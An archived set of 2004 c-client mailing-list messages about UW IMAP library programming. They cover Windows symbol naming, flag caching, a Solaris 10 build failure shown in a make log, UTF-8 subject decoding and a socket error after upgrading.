id i8PEm9cr049902 for ; Sat, 25 Sep 2004 07:48:10 -0700 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8PEm68T002394 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 25 Sep 2004 07:48:08 -0700 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1CBDqH-0005SK-00 for ; Sat, 25 Sep 2004 16:48:05 +0200 Message-Id: Date: Sat, 25 Sep 2004 16:48:09 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: Windows NT/W2K, Borland compilation In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 25 Sep 2004 16:18:24 +0200 (W. Europe Daylight Time) Frans Meijer wrote: FM> A number of standard C-lib symbols were referenced by their underscored FM> name, such as _stricmp. I edited these to their regular names. Was there FM> a specific reason to use these versions? These are not standard C library functions, they're standard Unix ones (for this one) or POSIX ones (for _open(), _read(), ...). For this reason, i.e. to avoid confusion with ANSI C functions, Microsoft compiler headers define them with underscore prefix. The underscore-less versions are only defined ("for compatibliity", according to a comment in the headers) if __STDC__ is not set but it would be a bad idea to unset it. The standard solution is to have something like #ifdef _MSC_VER #define open _open ... #define stricmp _stricmp #endif in some header when one still wants to use these functions. Regards, VZ From pinedev@shivax2.cac.washington.edu Sat Sep 25 10:55:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 25 Sep 2004 10:55:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PHtAvf004885 for ; Sat, 25 Sep 2004 10:55:10 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PHt92Y005698 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 25 Sep 2004 10:55:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8PHt1jA013526; Sat, 25 Sep 2004 10:55:01 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PHqLbr075518 for ; Sat, 25 Sep 2004 10:52:21 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8PHqKIL006842 for ; Sat, 25 Sep 2004 10:52:20 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 06F823E8144 for ; Sat, 25 Sep 2004 12:50:40 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 20471-06 for ; Sat, 25 Sep 2004 12:50:39 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 7214B3E8145; Sat, 25 Sep 2004 12:50:39 -0500 (CDT) Received: from [192.168.1.5] (adsl-68-94-9-228.dsl.rcsntx.swbell.net [68.94.9.228]) by mail.bynari.net (Postfix) with ESMTP id 5A65E3E8144 for ; Sat, 25 Sep 2004 12:50:39 -0500 (CDT) Message-Id: <4155B070.6070001@bynari.net> Date: Sat, 25 Sep 2004 12:52:48 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: mail_fetch_flags() problems??? In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN So heres the situation, i call mail_fetch_flags() on "1:*" to have c-client fetch flags on all messages in a folder, I then loop over each message number and call mail_elt() on it, and use the returned info for getting my information about a messages flags. This works great the first time through. However, if I do this again after modifying the flags on the server (for instance, \Seen), the return from mail_elt() still has the old flag info (despite having called mail_fetch_flags() again). Am I approaching this incorrectly? not telling c-client to refresh its cache correctly? or have I stumbled on a bug? (I am guessing one of the former, not the later). Thanks in advance for any thoughts/suggestions/advice, subject was "Stale message flags" feel free to edit/change as necessary -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Sep 26 11:59:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Sep 2004 11:59:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8QIxxVb012390 for ; Sun, 26 Sep 2004 11:59:59 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8QIxv5O017302 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 26 Sep 2004 11:59:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8QIxpkD015416; Sun, 26 Sep 2004 11:59:51 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8QIw7Rf029468 for ; Sun, 26 Sep 2004 11:58:07 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8QIw6ff024907 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 26 Sep 2004 11:58:06 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8QIw614012769; Sun, 26 Sep 2004 11:58:06 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8QIw50t030000; Sun, 26 Sep 2004 11:58:06 -0700 Message-Id: Date: Sun, 26 Sep 2004 11:58:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: mail_fetch_flags() problems??? In-Reply-To: <4155B070.6070001@bynari.net> References: <4155B070.6070001@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 25 Sep 2004, Shawn Walker wrote: > So heres the situation, i call mail_fetch_flags() on "1:*" to have c-client > fetch flags on all messages in a folder, I then loop over each message number > and call mail_elt() on it, and use the returned info for getting my > information about a messages flags. This works great the first time through. > However, if I do this again after modifying the flags on the server (for > instance, \Seen), the return from mail_elt() still has the old flag info Either you have not modified the flags on the server, or the server is broken. > (despite having called mail_fetch_flags() again). Calling mail_fetch_flags() again is a waste of network bandwidth. All it does is slow down your client. The IMAP protocol automatically updates flags on the client. Once the cache is loaded, it stays loaded and current. The *only*, and I do mean *only*, reason *ever* to call mail_fetch_flags() is if you intend to reference flags in your client without otherwise touching at the message. In that case, and that case *only*, the cache may not have been loaded. Calling mail_fetch_flags() on "1:*" is generally a very bad idea. There is almost always a better way to do what you intend. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Sep 27 03:34:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Sep 2004 03:34:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RAYm4J004170 for ; Mon, 27 Sep 2004 03:34:48 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RAYlwT008178 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Sep 2004 03:34:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8RAYfc0016320; Mon, 27 Sep 2004 03:34:41 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RAXJDn034444 for ; Mon, 27 Sep 2004 03:33:19 -0700 Received: from hf2.sun.to (hf2.sun.to [192.176.10.10]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8RAXHDY027381 for ; Mon, 27 Sep 2004 03:33:18 -0700 Received: from jonasb (pc5036156.han.telia.se [131.115.36.156]) by hf2.sun.to (8.12.10+Sun/8.12.8) with ESMTP id i8RAXF1X018386 for ; Mon, 27 Sep 2004 12:33:17 +0200 (MEST) Message-Id: <1018BC41E4E5772B00C3358C@pc5036156.han.telia.se> Date: Mon, 27 Sep 2004 12:33:13 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-1?Q?Jonas_Bygd=E9n?= To: c-client@u.washington.edu Subject: Problems compiling on Solaris 10 because of redeclaration of scandir MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I'm trying to compile the c-client on Solaris 10 (beta) to be able to build = php with imap-support but I've run into trouble. Apparently there's a new declaration of the scandir function in Solaris 10, = that's not been in Solaris earlier. This seems to be a SysV version instead = of the UCB version that's been the only one in earlier Solaris (< 10). Has anyone tried to compile any part of the imapd on Solaris 10, and found=20 a solution to this? Access to Solaris 10 can be provided upon request. jonasb@bygden $ make gso make sslnopwd make[1]: Entering directory `/home/jonasb/src/build/imap-2004a' +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Building in full compliance with RFC 3501 security + requirements: ++ TLS/SSL encryption is supported ++ Unencrypted plaintext passwords are prohibited +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ make[1]: Leaving directory `/home/jonasb/src/build/imap-2004a' Applying an process to sources... tools/an "ln -s" src/c-client c-client tools/an "ln -s" src/ansilib c-client tools/an "ln -s" src/charset c-client tools/an "ln -s" src/osdep/unix c-client tools/an "ln -s" src/mtest mtest tools/an "ln -s" src/ipopd ipopd tools/an "ln -s" src/imapd imapd tools/an "ln -s" src/mailutil mailutil tools/an "ln -s" src/mlock mlock tools/an "ln -s" src/dmail dmail tools/an "ln -s" src/tmail tmail ln -s tools/an . make build EXTRACFLAGS=3D'' EXTRALDFLAGS=3D'' EXTRADRIVERS=3D'mbox'=20 EXTRAAUTHENTICATORS=3D'' PASSWDTYPE=3Dstd SSLTYPE=3Dnopwd IP=3D4 = EXTRASPECIALS=3D''=20 BUILDTYPE=3Dgso make[1]: Entering directory `/home/jonasb/src/build/imap-2004a' Building c-client for gso... echo `cat SPECIALS` > c-client/SPECIALS cd c-client;make gso EXTRACFLAGS=3D''\ EXTRALDFLAGS=3D''\ EXTRADRIVERS=3D'mbox'\ EXTRAAUTHENTICATORS=3D''\ PASSWDTYPE=3Dstd SSLTYPE=3Dnopwd IP=3D4\ make[2]: Entering directory `/home/jonasb/src/build/imap-2004a/c-client' sh -c '(strings /lib/libc.a | grep getpassphrase > /dev/null) && ln -s=20 os_soln.h os_sol.h || ln -s os_solo.h os_sol.h' /lib/libc.a: No such file or directory make build EXTRACFLAGS=3D'' EXTRALDFLAGS=3D'' EXTRADRIVERS=3D'mbox'=20 EXTRAAUTHENTICATORS=3D'' PASSWDTYPE=3Dstd SSLTYPE=3Dnopwd `cat SPECIALS` = OS=3Dsol \ SIGTYPE=3Dpsx CHECKPW=3Dpsx CRXTYPE=3Dnfs \ SPOOLDIR=3D/var/spool MAILSPOOL=3D/var/mail \ ACTIVEFILE=3D/usr/share/news/active \ RSHPATH=3D/usr/bin/rsh \ BASECFLAGS=3D"-g -O2" \ BASELDFLAGS=3D"-lsocket -lnsl -lgen" \ RANLIB=3Dtrue CC=3Dgcc make[3]: Entering directory `/home/jonasb/src/build/imap-2004a/c-client' sh -c 'rm -rf auths.c crexcl.c nfstest.c linkage.[ch] siglocal.c=20 osdep*.[ch] *.o ARCHIVE *FLAGS *TYPE c-client.a || true' Once-only environment setup... echo gcc > CCTYPE echo -g -O2 '' > CFLAGS echo -DCREATEPROTO=3Dunixproto -DEMPTYPROTO=3Dunixproto \ -DMAILSPOOL=3D\"/var/mail\" \ -DANONYMOUSHOME=3D\"/var/mail/anonymous\" \ -DACTIVEFILE=3D\"/usr/share/news/active\" = -DNEWSSPOOL=3D\"/var/spool/news\" \ -DRSHPATH=3D\"/usr/bin/rsh\" -DLOCKPGM=3D\"/etc/mlock\" > OSCFLAGS echo -lsocket -lnsl -lgen > LDFLAGS echo "ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o=20 siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o=20 smtp.o imap4r1.o pop3.o unix.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o=20 mh.o mx.o;true c-client.a" > ARCHIVE echo sol > OSTYPE ./drivers mbox imap nntp pop3 mh mx mbx tenex mtx mmdf unix news phile = dummy ./mkauths md5 pla log make[4]: Entering directory `/home/jonasb/src/build/imap-2004a/c-client' echo -DMD5ENABLE=3D\"/etc/cram-md5.pwd\" >> OSCFLAGS make[4]: Leaving directory `/home/jonasb/src/build/imap-2004a/c-client' ln -s os_sol.h osdep.h ln -s os_sol.c osdepbas.c ln -s log_std.c osdeplog.c ln -s sig_psx.c siglocal.c ln -s crx_nfs.c crexcl.c ln -s ip4_unix.c ip_unix.c sh -c '(test -f /usr/include/sys/statvfs.h -a sol !=3D sc5 -a sol !=3D sco) = &&=20 ln -s nfstnew.c nfstest.c || ln -s nfstold.c nfstest.c' Standard password authentication ln -s ckp_psx.c osdepckp.c Building with SSL ln -s ssl_unix.c osdepssl.c echo -I/opt/csw/include -I/opt/csw/include/openssl=20 -DSSL_CERT_DIRECTORY=3D\"/opt/csw/ssl/certs\"=20 -DSSL_KEY_DIRECTORY=3D\"/opt/csw/ssl/certs\" >> OSCFLAGS echo " ssl_onceonlyinit ();" >> linkage.c echo -L/opt/csw/lib -lssl -lcrypto >> LDFLAGS Building with SSL and plaintext passwords disabled unless SSL/TLS echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> = linkage.c cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c Building OS-dependent module If you get No such file error messages for files x509.h, ssl.h, pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL is not installed on your system. Either install OpenSSL first or build with command: make sol SSLTYPE=3Dnone `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c In file included from osdep.c:23: osdep.h:64: error: conflicting types for 'scandir' /usr/include/dirent.h:92: error: previous declaration of 'scandir' was here osdep.h:64: error: conflicting types for 'scandir' /usr/include/dirent.h:92: error: previous declaration of 'scandir' was here make[3]: *** [osdep.o] Error 1 make[3]: Leaving directory `/home/jonasb/src/build/imap-2004a/c-client' make[2]: *** [gso] Error 2 make[2]: Leaving directory `/home/jonasb/src/build/imap-2004a/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory `/home/jonasb/src/build/imap-2004a' make: *** [gso] Error 2 jonasb@bygden $ --=20 Jonas Bygd=E9n -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 27 08:00:25 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Sep 2004 08:00:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RF0P6F011687 for ; Mon, 27 Sep 2004 08:00:25 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RF0OGA007439 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Sep 2004 08:00:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8RF0GLG017240; Mon, 27 Sep 2004 08:00:17 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8REwdrf024244 for ; Mon, 27 Sep 2004 07:58:39 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8REwdpQ013984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 27 Sep 2004 07:58:39 -0700 Received: from greyhound.i3micro.se (greyhound.i3micro.se [217.78.34.60]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8REwbOU007329 for ; Mon, 27 Sep 2004 07:58:38 -0700 Received: (qmail 27870 invoked by uid 110); 27 Sep 2004 14:58:36 -0000 Received: from pitbull.i3micro.se (HELO ?10.0.0.190?) (217.78.34.62) by greyhound.i3micro.se with SMTP; 27 Sep 2004 14:58:36 -0000 Message-Id: <41582A9C.3060706@i3micro.com> Date: Mon, 27 Sep 2004 16:58:36 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: Mark Crispin Cc: c-client Interest List Subject: Re: decode question In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, sv X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __ISO_2022_JP_DELIM 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using this now and I thought that utf8 and 8859-1 had the same 1byte character sets up to 255... but I get multibyte results... For the character Å (decimal197 in 8859-1) I get the byte sequens (in hex) c3 85 which translates to something completely different, if it ha the byte as c5 I would understand. Please inform me what I'm doing wrong... Some code: char *decodeSubject(char *subj) { SIZEDTEXT src; SIZEDTEXT dst; long res; char *ret; src.data = (unsigned char *) subj; src.size = strlen (subj); if((res = utf8_mime2text(&src, &dst)) == NIL) { ret = strdup(subj); } else { ret = strdup(dst.data); } return ret; } mail_fetchsubject(buf,stream,idx,(long) 127); subj = decodeSubject(buf); puts(subj); Mark Crispin wrote: > On Fri, 24 Sep 2004, Niklas Fondberg wrote: > >> I looked at the API but couldn't find a general purpose Subject : >> header decoder for subject lines like: >> =?ISO-8859-1?Q?=C5=C4=D6_test?= which is $BEDV(B test >> and =?ISO-8859-2?B?[d]SB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?= which I >> can't remember now. > > > Routine utf8_mime2text() will convert a string with embedded > quoted-words (such as the above) into UTF-8. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. -- Niklas Fondberg Development Manager, User Interfaces i3 Micro Technology AB Finlandsgatan 62 SE-164 74 Kista, Sweden niklas.fondberg@i3micro.com Phone: +46 (0)8 506 388 51 Mobile: +46 (0)708 47 20 25 Fax: +46 (0)8 506 388 75 From pinedev@shivax2.cac.washington.edu Mon Sep 27 08:16:05 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Sep 2004 08:16:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RFG5SA012185 for ; Mon, 27 Sep 2004 08:16:05 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RFG4je016460 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Sep 2004 08:16:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8RFG0LR019664; Mon, 27 Sep 2004 08:16:00 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RFEqoT091686 for ; Mon, 27 Sep 2004 08:14:52 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8RFEpY4001567 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 27 Sep 2004 08:14:51 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RFEpDc008226 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 27 Sep 2004 08:14:51 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RFEo4w011985; Mon, 27 Sep 2004 08:14:50 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8RFEoin025340; Mon, 27 Sep 2004 08:14:50 -0700 Message-Id: Date: Mon, 27 Sep 2004 08:14:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client Interest List Subject: Re: decode question In-Reply-To: <41582A9C.3060706@i3micro.com> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 27 Sep 2004, Niklas Fondberg wrote: > I'm using this now and I thought that utf8 and 8859-1 had the same 1byte > character sets up to 255... but I get multibyte results... Unicode codepoints are 20(+1) bits, whereas ISO 8859-1 codepoints are 8 bits. You gave the example of 0xc5 in ISO 8859-1, the character known in Unicode as LATIN CAPITAL A WITH RING ABOVE. In the UCS-2 or UTF-16 encodings of Unicode, this character is 0x00c5. To the extent that 0xc5 == 0x00c5, these are the same; but one is an 8-bit value (a string is unsigned char*) and the other is a 16-bit value (a string is unsigned short*). UTF-8 is an alternative form of encoding Unicode. Its principle advantage is to allow 7-bit ASCII to be represented as a single byte, at the cost of making many other Unicode character consume more bytes than UCS-2 or UTF-16. UTF-8 does this with variable byte lengths. In your example, 0xc3 indicates the first byte of a two-byte sequence; in the resulting Unicode value, the highest order 5 bits are 0, and the next 5 bits are 0x3. 0x85 is a continuation byte, of which the low-order 6 bits of the Unicode value are 5. The binary result is: 0000000011000101 0 0 c 5 Read the UTF-8 specification for details on how this actually works. And, indeed, this is U+00c5 which is LATIN CAPITAL A WITH RING ABOVE. You should not write a new application to output ISO 8859-1 strings. ISO 8859 is completely obsolete. Instead, your application should support Unicode and Unicode strings. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 29 18:09:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 2004 18:09:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U19i49021189 for ; Wed, 29 Sep 2004 18:09:44 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U19hkS017419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 29 Sep 2004 18:09:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8U18qbj016006; Wed, 29 Sep 2004 18:08:53 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U16uB8065534 for ; Wed, 29 Sep 2004 18:06:56 -0700 Received: from mta6.srv.hcvlny.cv.net (mta6.srv.hcvlny.cv.net [167.206.5.72]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8U16rLA028610 for ; Wed, 29 Sep 2004 18:06:54 -0700 Received: from [192.168.1.101] (ool-182e70a4.dyn.optonline.net [24.46.112.164]) by mta6.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0I4T00F72XRGF3@mta6.srv.hcvlny.cv.net> for c-client@u.washington.edu; Wed, 29 Sep 2004 21:06:53 -0400 (EDT) Message-Id: <415B5C5F.5030503@hamla.org> Date: Wed, 29 Sep 2004 21:07:43 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Unable to create TCP socket: Protocol not supported (errflg=1) in Unknown on line 0 MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, RCVD_IN_NJABL_ORG 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I keep getting this error (in subject) immediately after successful logins to the UW IMAP server (via IMP). This error is in the httpd-error.log whereas nothing shows up in the maillog. I understand most will dismiss this as a bug with Horde, but hear me out: the only change I've made to my system is upgrading to imap-2004a. Before this, with imap-2002, no such error existed. Using gdb to debug, it looks like the error is being spit out by the cclient library. Google has absolutely nothing (at least in my searches) on this particular topic. Also, FWIW, imap is setup to do allow SSL connections *only* - and logins *are* successful. It's just that the error looks odd, and appears notwithstanding accepted logins. Any guidance would be greatly appreciated. Sahil 